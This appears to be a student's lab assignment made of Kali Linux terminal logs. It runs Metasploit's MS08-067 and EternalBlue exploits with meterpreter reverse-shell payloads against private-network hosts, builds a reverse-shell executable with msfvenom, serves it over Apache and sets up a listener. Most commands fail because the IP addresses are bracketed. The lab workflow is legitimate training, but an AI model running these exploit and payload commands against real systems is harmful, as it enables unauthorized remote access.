Ethan Lombos
Assignment 4

```
# nmap -p 445 -sV [192.168.10.14]
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-30 20:55 EDT
Failed to resolve "[192.168.10.14]".
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.59 seconds
```

```
       =[ metasploit v6.3.55-dev                          ]
+ -- --=[ 2397 exploits - 1235 auxiliary - 422 post       ]
+ -- --=[ 1388 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search ms08_067_netapi

Matching Modules
================

   #  Name                                 Disclosure Date  Rank   Check  Description
   -  ----                                 ---------------  ----   -----  -----------
   0  exploit/windows/smb/ms08_067_netapi  2008-10-28       great  Yes    MS08-067 Microsoft Server S
ervice Relative Path Stack Corruption


Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/ms08_06
7_netapi

msf6 >
```

```
msf6 exploit(windows/smb/ms08_067_netapi) > set RHOST [192.168.10.14]
RHOST => [192.168.10.14]
msf6 exploit(windows/smb/ms08_067_netapi) > set LPORT 5525
LPORT => 5525
msf6 exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS   [192.168.10.14]  yes       The target host(s), see https://docs.metasploit.com/docs/usi
                                       ng-metasploit/basics/using-metasploit.html
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     [192.168.10.13]  yes       The listen address (an interface may be specified)
   LPORT     5525             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting


View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms08_067_netapi) >
```


Status: Running

```
msf6 exploit(windows/smb/ms08_067_netapi) > exploit

[-] [192.168.10.14]:445 - Msf::OptionValidateError The following options failed to validate:
[-] [192.168.10.14]:445 - Invalid option RHOSTS: Host resolution failed: [192.168.10.14]
msf6 exploit(windows/smb/ms08_067_netapi) >
```

```
┌──(root㉿kali)-[~]
└─# nmap -p -sV [192.168.10.19]
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-30 21:10 EDT
Error #486: Your port specifications are illegal.  Example of proper form: "-100,200-1024,T:3000-4000,U:60000-"
QUITTING!
```

```
  > access security
  access: PERMISSION DENIED.
  > access security grid
  access: PERMISSION DENIED.
  > access main security grid
  access: PERMISSION DENIED....and...
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!


       =[ metasploit v6.3.55-dev                          ]
+ -- --=[ 2397 exploits - 1235 auxiliary - 422 post       ]
+ -- --=[ 1391 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search eternalblue

Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Executi
on
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Exec
ution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection
   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution


Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce

msf6 >
```

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 5525
LPORT => 5525
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS         [192.168.10.19]  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedde
                                             d Standard 7 target machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded St
                                             andard 7 target machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 t
                                             arget machines.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.10.13    yes       The listen address (an interface may be specified)
   LPORT     5525             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.
```

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[-] [192.168.10.19]:445 - Msf::OptionValidateError The following options failed to validate:
[-] [192.168.10.19]:445 - Invalid option RHOSTS: Host resolution failed: [192.168.10.19]
msf6 exploit(windows/smb/ms17_010_eternalblue) >
```

```
┌──(root㉿kali)-[~]
└─# msfvenom -p windows/meterpreter/reverse_tcp LHOST=[192.168.10.13] LPORT=5525 -f exe > [01206946].exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Error: One or more options failed to validate: LHOST.
```

```
┌──(root㉿kali)-[~]
└─# service apache2 start

┌──(root㉿kali)-[~]
└─# mv [01206946].exe /var/www/html/
```

```
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meteroreter/reverse_tcp
[-] The value specified for payload is not valid.
msf6 exploit(multi/handler) > set LHOST [192.168.10.13]
LHOST ⇒ [192.168.10.13]
msf6 exploit(multi/handler) > set LPORT 5525
LPORT ⇒ 5525
msf6 exploit(multi/handler) > exploit

[-] Msf::OptionValidateError The following options failed to validate: LHOST
[*] Exploit completed, but no session was created.
msf6 exploit(multi/handler) >
```

```
msf6 exploit(windows/smb/ms08_067_netapi) > echo $(date) > /tmp/[01206946].txt
[*] exec: echo $(date) > /tmp/[01206946].txt

msf6 exploit(windows/smb/ms08_067_netapi) > upload /tmp/[01206946].txt c:\\USers\\Public\\Desktop\\
[-] Unknown command: upload
msf6 exploit(windows/smb/ms08_067_netapi) >
```